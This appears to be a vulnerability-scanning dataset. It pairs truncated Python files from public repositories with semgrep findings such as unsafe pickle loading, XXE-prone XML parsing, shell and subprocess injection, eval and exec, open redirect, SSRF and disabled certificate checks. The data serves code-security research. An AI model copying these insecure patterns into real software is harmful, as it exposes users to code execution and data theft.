import spacy as spacy_en import pandas as pd import pickle import os model = spacy_en.load('en_core_web_md') def clean_my_new_text(song): """ It filters punctuation, numbers, stop word and returns lemmatized words""" doc = model(song) clean_text = '' for word in doc: if (word.is_stop =...
64
29.38
98
14
500
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_75b484399a5586dc_c059ea9f", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \...
5
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 32, 35, 38, 41 ]
[ 32, 35, 38, 41 ]
[ 10, 10, 17, 20 ]
[ 50, 43, 51, 57 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
prediction.py
/prediction.py
tsof-smoky/Lyrics_classifier
MIT
2024-11-19T01:43:00.722716+00:00
1,478,775,245,000
d18e1d96b2fe053c8292176d0bcfb0a2185e32fe
3
{ "blob_id": "d18e1d96b2fe053c8292176d0bcfb0a2185e32fe", "branch_name": "refs/heads/master", "committer_date": 1478775245000, "content_id": "02f6540aeb3a39cd54418f43e5b63e5cbf33568b", "detected_licenses": [ "MIT" ], "directory_id": "4ebf0e274ab8f0ca8aa3da5e71be77d2c97f873c", "extension": "py", "fi...
3.125
stackv2
# Module: Sentiment Analysis # Module Owner: Muhammad Bilal Zahid # StudentID: 1035291 # - Setup before running Sentiment Analysis Module # - Place following Files in src folder # 1. SentimentAnalyzer_TrainedData.pkl # 2. WordFeatures.pkl # 3. TrainingData.txt # # - Open command line Python Shell and type fol...
141
37.7
125
15
1,200
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_2d03c42d5e094535_722e4358", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
5
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 79, 119, 121, 132 ]
[ 79, 119, 121, 132 ]
[ 13, 37, 39, 13 ]
[ 84, 61, 64, 81 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
SentimentAnalysis.py
/SentimentAnalysis.py
mcr222/rumor_analytics
MIT
2024-11-19T01:43:02.825686+00:00
1,347,399,839,000
62a095aaa9a68f8de0f45330c4820a806b289a63
3
{ "blob_id": "62a095aaa9a68f8de0f45330c4820a806b289a63", "branch_name": "refs/heads/master", "committer_date": 1347399839000, "content_id": "ab45febf1ffb371fd5a4d18ef6e16fb01e34d55c", "detected_licenses": [ "MIT" ], "directory_id": "368007b322d64055feafb4372b75d3278e33948e", "extension": "py", "fi...
2.671875
stackv2
import zipfile import xml.dom.minidom import re import subprocess import os class XLSXReader: rows = [] def _nodeText(self, node): return "".join(t.nodeValue for t in node.childNodes if t.nodeType == t.TEXT_NODE) def _get_col_num(self, col): strpart = col.attributes['r'].value c...
125
32.03
137
20
1,042
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_831c89d0dd6d97de_397423eb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
3
true
[ "CWE-611", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 2, 104, 124 ]
[ 2, 104, 124 ]
[ 1, 19, 19 ]
[ 23, 77, 77 ]
[ "A04:2017 - XML External Entities (XXE)", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "Detected subprocess function 'Popen' without a static stri...
[ 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "HIGH", "HIGH" ]
parser.py
/docs/rules for philips/parser.py
laranea/SocialExpressApp
MIT
2024-11-19T01:43:05.679946+00:00
1,585,689,881,000
d60585ab6df3eb915e1e543176c9c450230d8ffd
3
{ "blob_id": "d60585ab6df3eb915e1e543176c9c450230d8ffd", "branch_name": "refs/heads/master", "committer_date": 1585689881000, "content_id": "f080b601e5461a9afb314848768f96ec13116d7c", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "cedac99a06db7261218c49311089cf76ee9648ad", "extension": "p...
2.796875
stackv2
# -*- coding: utf-8 -*- """ Created on Sun Jan 14 07:59:40 2018 @author: mhayman Runs two python scripts. The first processes flight data and saves it as a netcdf. The second plots the netcdf data and saves the plots. These scripts are configured for SOCRATES processing. The user will be prompted to select which SO...
26
24.46
83
9
180
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_dd883cd23d37c994_347928c2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous ...
4
true
[ "CWE-95", "CWE-95" ]
[ "rules.python.lang.security.audit.exec-detected", "rules.python.lang.security.audit.exec-detected" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 22, 25 ]
[ 22, 25 ]
[ 1, 1 ]
[ 31, 28 ]
[ "A03:2021 - Injection", "A03:2021 - Injection" ]
[ "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "Detected the use of exec(). exec() can be dangerous if used...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
gv_hsrl_socrates_flight_process.py
/projDir/python/scripts/gv_hsrl_socrates_flight_process.py
NCAR/hsrl_configuration
BSD-3-Clause
2024-11-19T01:43:08.634171+00:00
1,623,513,084,000
6baa796fbaa8f27d1b47906c5db4997c2190e9f1
3
{ "blob_id": "6baa796fbaa8f27d1b47906c5db4997c2190e9f1", "branch_name": "refs/heads/main", "committer_date": 1623513084000, "content_id": "87827b3183c2fd839d03aa489aa905ed2dad3652", "detected_licenses": [ "MIT" ], "directory_id": "1c19b7f5d1e28d08b70539679e0fa17304305020", "extension": "py", "file...
2.609375
stackv2
import time import os import pickle import numpy as np import dgl import torch import torch.nn.functional as F from scipy import sparse as sp import numpy as np import networkx as nx import hashlib class load_SBMsDataSetDGL(torch.utils.data.Dataset): def __init__(self, data_dir, ...
229
31.29
171
17
1,925
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_f1e50c8f326a6131_b7688704", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \...
3
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 28, 195 ]
[ 28, 195 ]
[ 28, 17 ]
[ 42, 31 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
SBMs.py
/data/SBMs.py
HannesStark/SAN
MIT
2024-11-19T01:54:49.970034+00:00
1,590,139,423,000
98c3ed26114596de347c3ca77a9a56d7d8cdf8f1
2
{ "blob_id": "98c3ed26114596de347c3ca77a9a56d7d8cdf8f1", "branch_name": "refs/heads/master", "committer_date": 1590139423000, "content_id": "c76009ee80d67960949e1a0ecf440d15971ec7a5", "detected_licenses": [ "MIT" ], "directory_id": "779b3055a8fe301ce7f941fd5e76edeedb1da620", "extension": "py", "fi...
2.40625
stackv2
from flask import Flask, render_template, url_for, request, redirect, flash from werkzeug.utils import secure_filename from utils import classify_image import os from flask_wtf.csrf import CSRFProtect from config import Config app = Flask(__name__) app.config.from_object(Config) csrf = CSRFProtect(app) # On IBM Clo...
53
37.94
147
19
416
python
[{"finding_id": "semgrep_rules.python.flask.security.open-redirect_bc26dc1c82ab9580_f2c99ddc", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.open-redirect", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Data from request is passed to redirect(). This is an open redir...
3
true
[ "CWE-601", "CWE-601" ]
[ "rules.python.flask.security.open-redirect", "rules.python.flask.security.open-redirect" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 25, 29 ]
[ 25, 29 ]
[ 24, 24 ]
[ 45, 45 ]
[ "A01:2021 - Broken Access Control", "A01:2021 - Broken Access Control" ]
[ "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
server.py
/Capstone_project/apps/server.py
Bijay555/Furniture-recognition-web-app
MIT
2024-11-19T01:54:54.967368+00:00
1,624,964,921,000
9b747b5f415f7cd9fc90b025fc3a79c9c159a5f4
2
{ "blob_id": "9b747b5f415f7cd9fc90b025fc3a79c9c159a5f4", "branch_name": "refs/heads/master", "committer_date": 1624964921000, "content_id": "367cd5887c6581484d9bd3a2cec7f1280b05844d", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "20865f6fdfd7e7b28f50ddba91c8c8ffafe2a577", "extension": "p...
2.5
stackv2
import os import yaml import csv import re import sys # Instructions: # Run this script from anywhere # Use "-o" as an arg to record objects in each dataset # ------------------------------ path_to_labelfusion = os.environ['LABELFUSION_SOURCE_DIR'] path_to_data = os.path.join(path_to_labelfusion, "data") path_to...
125
30.86
107
18
943
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_d4d1a88f5474037c_6b1436c3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding...
7
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 125, 125 ]
[ 125, 125 ]
[ 1, 1 ]
[ 35, 35 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found user-controll...
[ 7.5, 7.5 ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
updateDatasetStatus.py
/scripts/updateDatasetStatus.py
ARG-NCTU/LabelFusion
BSD-3-Clause
2024-11-19T01:54:55.926725+00:00
1,557,853,406,000
6b453efecd21fcc15826c95daa5b865eca872c98
3
{ "blob_id": "6b453efecd21fcc15826c95daa5b865eca872c98", "branch_name": "refs/heads/master", "committer_date": 1557853406000, "content_id": "64b9ecf975edc44f414d9225bb570a15dc519d1b", "detected_licenses": [ "MIT" ], "directory_id": "470d05fd18074bb542f4192e2c1a6561c14b64fd", "extension": "py", "fi...
2.5625
stackv2
"""Master inteface to control and view all the Pi's """ from __future__ import print_function import requests import argparse import dweepy import webbrowser import shutil import os import random import time from utils import get_name, get_thing, get_ip from multiprocessing import current_process from flask import F...
303
19.83
79
19
1,510
python
[{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_97f1acd3bd205bef_db227ae8", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request ...
21
true
[ "CWE-918", "CWE-918", "CWE-918" ]
[ "rules.python.flask.security.injection.ssrf-requests", "rules.python.flask.security.injection.ssrf-requests", "rules.python.flask.security.injection.ssrf-requests" ]
[ "security", "security", "security" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 85, 146, 162 ]
[ 85, 146, 162 ]
[ 13, 9, 13 ]
[ 41, 47, 52 ]
[ "A10:2021 - Server-Side Request Forgery (SSRF)", "A10:2021 - Server-Side Request Forgery (SSRF)", "A10:2021 - Server-Side Request Forgery (SSRF)" ]
[ "Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the prox...
[ 7.5, 7.5, 7.5 ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH" ]
master.py
/master.py
Pandinosaurus/pishot
MIT
2024-11-19T01:54:59.468313+00:00
1,590,577,088,000
b62fb470a08a27a81fd0d903bcf4ec9cf8fb34cd
3
{ "blob_id": "b62fb470a08a27a81fd0d903bcf4ec9cf8fb34cd", "branch_name": "refs/heads/master", "committer_date": 1590577088000, "content_id": "2217e9bbee597b4e39a19a9761edc28b9b1355c7", "detected_licenses": [ "MIT" ], "directory_id": "da53d32af76c961e9205b0b063aaaa76f2c574e1", "extension": "py", "fi...
2.625
stackv2
""" Classes for parsing information contained in the settings.xml file that is saved when recording with the openephys system. """ try: import xml.etree.cElementTree as ET except ImportError: import xml.etree.ElementTree as ET from collections import OrderedDict, defaultdict class ChannelInfo(object): """...
320
34.61
94
28
2,508
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_c62676c2d7ffb075_63704461", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
2
true
[ "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 7, 9 ]
[ 7, 9 ]
[ 5, 5 ]
[ 40, 39 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The Python documentation recommends using `defusedxml` ins...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
OESettings.py
/ephysiopy/openephys2py/OESettings.py
hwpdalgleish/ephysiopy
MIT
2024-11-19T01:55:00.757800+00:00
1,594,652,016,000
802df928706432ec1159c22bf3ce6634ef8aebbd
2
{ "blob_id": "802df928706432ec1159c22bf3ce6634ef8aebbd", "branch_name": "refs/heads/master", "committer_date": 1594652016000, "content_id": "e4f9de079b09ff8ca85b7183fad96e3498d42d11", "detected_licenses": [ "MIT" ], "directory_id": "033082d72e32f2d670db9cd1ff40d13ecdff5827", "extension": "py", "fi...
2.40625
stackv2
import os import sys import re import json import requests from bs4 import BeautifulSoup from pathlib import Path from flask import Flask, render_template, request, session from werkzeug.utils import secure_filename import pywikibot app = Flask(__name__) def wikidataID(link): site = pywikibot.Site("wikidata", "wi...
239
28.73
122
31
1,855
python
[{"finding_id": "semgrep_rules.python.django.security.injection.tainted-url-host_2a0a05222aa06acf_914ae26a", "tool_name": "semgrep", "rule_id": "rules.python.django.security.injection.tainted-url-host", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "User data flows into the host port...
9
true
[ "CWE-918", "CWE-918" ]
[ "rules.python.django.security.injection.tainted-url-host", "rules.python.flask.security.injection.tainted-url-host" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 75, 75 ]
[ 75, 75 ]
[ 7, 7 ]
[ 28, 28 ]
[ "A10:2021 - Server-Side Request Forgery (SSRF)", "A10:2021 - Server-Side Request Forgery (SSRF)" ]
[ "User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server r...
[ 5, 5 ]
[ "LOW", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
app.py
/app.py
vislupus/wikidata-scraper
MIT
2024-11-19T01:55:01.102968+00:00
1,520,486,376,000
7bb1b2bb3493564cb5789df05e50563f4049bca0
3
{ "blob_id": "7bb1b2bb3493564cb5789df05e50563f4049bca0", "branch_name": "refs/heads/master", "committer_date": 1520486376000, "content_id": "982b55eb111a6a8f1888930040a349e53f171724", "detected_licenses": [ "MIT" ], "directory_id": "88a31917ed8665c425614323c760eab956403128", "extension": "py", "fi...
2.578125
stackv2
# from mmap import mmap, PAGESIZE, MAP_SHARED, PROT_WRITE, PROT_READ from subprocess import Popen, PIPE class ResourceError(Exception): def __init__(self, *args, **kwargs): Exception.__init__(self, *args, **kwargs) class MemoryMap: def __init__(self, file_lock, mode="r+b"): self.raw = open(f...
112
23.22
106
14
742
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_e04b765c9af66c99_c0fe4ef9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding...
3
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 66 ]
[ 66 ]
[ 17 ]
[ 67 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
Resources.py
/assignments/week3/neo/Resources.py
qi2018d/sensor
MIT
2024-11-19T01:55:02.671862+00:00
1,512,244,677,000
779774e394d6cb879cec92124190c8c464e288f2
2
{ "blob_id": "779774e394d6cb879cec92124190c8c464e288f2", "branch_name": "refs/heads/master", "committer_date": 1512333009000, "content_id": "12d8114f940983d704efcfb0ecfad8ed11b9d6a5", "detected_licenses": [ "ISC" ], "directory_id": "acd3a9d3ef4a5549bb442aa788f11aa82e5619c7", "extension": "py", "fi...
2.46875
stackv2
# # RTEMS Tools Project (http://www.rtems.org/) # Copyright 2010-2016 Chris Johns (chrisj@rtems.org) # All rights reserved. # # This file is part of the RTEMS Tools package in 'rtems-tools'. # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted, pro...
376
39.33
93
19
3,377
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_eb2308eb156c2274_a581db6a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `_timerthread` ...
3
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 191 ]
[ 194 ]
[ 20 ]
[ 53 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
execute.py
/source-builder/sb/execute.py
hjunkes/rsb
ISC
2024-11-19T01:55:02.799853+00:00
1,645,914,002,000
27da6aca02c35e918ec1f0f6856563dd98558f0d
3
{ "blob_id": "27da6aca02c35e918ec1f0f6856563dd98558f0d", "branch_name": "refs/heads/master", "committer_date": 1645914002000, "content_id": "1c6c0b2c3fd728d507f1a17dff0b0d7c5734f423", "detected_licenses": [ "MIT" ], "directory_id": "ebef08dead816b75e0d5e5da683516ffd67bc59c", "extension": "py", "fi...
2.75
stackv2
import ast one_plus_one = ast.Expression( body=ast.BinOp( left=ast.Num(lineno=0, col_offset=0, n=1), op=ast.Add(lineno=0), right=ast.Num(lineno=0, col_offset=0, n=3), lineno=0, col_offset=0, ), lineno=0, col_offset=0, ) a = compile(one_plus_one, "<string>", "eval...
16
21
51
13
115
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_baafbc7fbc222b1c_0202165a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous ...
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 15 ]
[ 15 ]
[ 7 ]
[ 14 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
syntax.py
/playground/syntax.py
jasonmay/twitch-jarsonmud
MIT
2024-11-19T01:55:07.026735+00:00
1,592,506,246,000
a027bae4fb6923bdb1a145d9f4d34c66f7ae5c51
4
{ "blob_id": "a027bae4fb6923bdb1a145d9f4d34c66f7ae5c51", "branch_name": "refs/heads/master", "committer_date": 1592506246000, "content_id": "d545492cdbda79f29fb4c79717b68cc772accd08", "detected_licenses": [ "MIT" ], "directory_id": "edd1b9a65ac22d05c34c25f4167455649ae01991", "extension": "py", "fi...
3.859375
stackv2
# -*- coding: utf-8 -*- """ Created on Sun Jun 24 12:45:31 2018 @author: joshu """ # How tall is the tree : 5 # ### ##### ####### ######### # # Use 1 while loop and 3 for loops # Line 1 = 4 spaces : 1 hash # Line 2 = 3 spaces : 3 hash # Line 3 = 2 spaces : 5 hash # Line 4 = 1 space...
63
17.7
60
9
415
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_9dc4aa349a047833_a7f89557", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous ...
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 26 ]
[ 26 ]
[ 10 ]
[ 47 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
Print_PineTree.py
/Looping/Print_PineTree.py
Jadams29/Coding_Problems
MIT
2024-11-19T01:55:08.340073+00:00
1,691,685,314,000
e4e952e07c066c10dcdb8a4b1f1b1dcbecd26925
2
{ "blob_id": "e4e952e07c066c10dcdb8a4b1f1b1dcbecd26925", "branch_name": "refs/heads/master", "committer_date": 1691685314000, "content_id": "a4a9bc901b7c0c1d782951a3a838a1bba639c72d", "detected_licenses": [ "Apache-2.0" ], "directory_id": "c394cb97893a7c8f9f1ec4b16ce94b9994c449a9", "extension": "py"...
2.34375
stackv2
__author__ = 'Dmitry Golubkov' import os import subprocess from OpenSSL.crypto import load_certificate, FILETYPE_PEM from deftcore.settings import VOMS_CERT_FILE_PATH, VOMS_KEY_FILE_PATH, X509_PROXY_PATH from deftcore.log import Logger logger = Logger.get() class NoProxyException(Exception): def __init__(self):...
68
35.62
110
18
550
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_c73b7b55e053815d_acc9a348", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
2
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 34, 35 ]
[ 35, 35 ]
[ 27, 50 ]
[ 55, 54 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functi...
[ 7.5, 7.5 ]
[ "LOW", "HIGH" ]
[ "HIGH", "LOW" ]
voms.py
/deftcore/security/voms.py
retmas-dv/deftcore
Apache-2.0
2024-11-19T01:55:08.873001+00:00
1,636,816,856,000
7e760a5e7962ed04c360231e8175acb003162f55
2
{ "blob_id": "7e760a5e7962ed04c360231e8175acb003162f55", "branch_name": "refs/heads/main", "committer_date": 1636816856000, "content_id": "5998f5e756f3440df19fc940e54f53254880662c", "detected_licenses": [ "MIT" ], "directory_id": "06b44dc15b43caa1ad74f4555823cbf80dd511f9", "extension": "py", "file...
2.40625
stackv2
from operator import or_ import re from app import auth from app.auth import auth_blueprint from flask import ( render_template, url_for, redirect, flash, request, abort ) from flask_login import login_user, current_user from app.auth.forms import RegistrationForm, LoginForm, NewPassword fr...
87
30.94
79
19
540
python
[{"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_f0a9012afed95892_0746ae8c", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'u' is being set w...
2
true
[ "CWE-521", "CWE-521" ]
[ "rules.python.django.security.audit.unvalidated-password", "rules.python.django.security.audit.unvalidated-password" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 56, 79 ]
[ 56, 79 ]
[ 13, 17 ]
[ 37, 51 ]
[ "A07:2021 - Identification and Authentication Failures", "A07:2021 - Identification and Authentication Failures" ]
[ "The password on 'u' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "The password on 'u' is being set with...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
views.py
/app/auth/views.py
gurby123/flask-blog-app
MIT
2024-11-19T01:55:13.450980+00:00
1,611,119,241,000
e562b71e122f454b2caac3f28a490695acb255ea
3
{ "blob_id": "e562b71e122f454b2caac3f28a490695acb255ea", "branch_name": "refs/heads/master", "committer_date": 1611119241000, "content_id": "f26c72cc8ca24ffcdca12bbf95fab49de362357e", "detected_licenses": [ "MIT" ], "directory_id": "88c160e89a38e976592f008edb2d3e6420bf5bf2", "extension": "py", "fi...
2.546875
stackv2
#!/usr/bin/env python3 import ipaddress import time import json import blockade import logging from datetime import datetime from requests import get # Set loop wait time between each check (in seconds) WAIT_TIME = 30 """Logging setup to ./logs folder""" now = datetime.now() stringDate = now.strftime("%Y_%m_%d") log...
53
31.92
94
14
395
python
[{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_ecabedf5d9cc8b90_03ebfdd0", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request ...
6
true
[ "CWE-295" ]
[ "rules.python.requests.security.disabled-cert-validation" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 31 ]
[ 31 ]
[ 42 ]
[ 84 ]
[ "A03:2017 - Sensitive Data Exposure" ]
[ "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation." ]
[ 7.5 ]
[ "LOW" ]
[ "LOW" ]
blockade_start.py
